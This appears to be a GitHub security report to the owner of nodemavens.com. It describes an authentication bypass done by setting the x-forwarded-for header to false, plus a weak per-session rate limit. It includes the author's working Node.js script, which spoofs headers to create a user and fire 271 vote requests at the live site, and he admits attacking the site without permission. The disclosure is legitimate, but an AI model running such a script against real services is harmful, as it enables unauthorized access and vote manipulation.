fix a security flaw

Hi, @fiveisprime, sorry about I have attacked your site, but I found 2 bugs in security:

1. Just set `header['x-forwarded-for']` to `false`, this can skip all of your authentication like: https://github.com/fiveisprime/nodemavens/blob/master/server/routes/index.js#L21-L41
2. If I use `request` module to ping your `http` server, `req.session` doesn't work, so I think need a ips table to record the times/per ip, and even when one exceed 5(depends on you) times, I added it to `blacklist`.

And for 2rd one, simple in-memory store has just a little unreliable, I think a table based on leveldb/redis/mongodb is better choice.

Below is all of my source code in this hacking:
```js 
var request = require('request');
function createUser() {
  request({
    uri: 'http://nodemavens.com/api/mavens',
    method: 'POST',
    headers: {
      'x-forwarded-for': false,
      'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1838.2 Safari/537.36'
    },
    form: {
      username: 'yorkie'
    }
  },
  function(error, response, body) {
    console.log(response.statusCode);
    console.log(body);
  })
}

function love() {
  request({
    uri: 'http://nodemavens.com/api/mavens/yorkie/love',
    method: 'POST',
    headers: {
      'x-forwarded-for': false,
      'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1838.2 Safari/537.36'
    }
  },
  function(error, response, body) {
    console.log(response.statusCode);
    console.log(body);
  })
}

//createUser();
for (var i=0; i<271; i++) {
  love();
}
```

In the end, very sorry about my aggressive behavior. :p
cheers!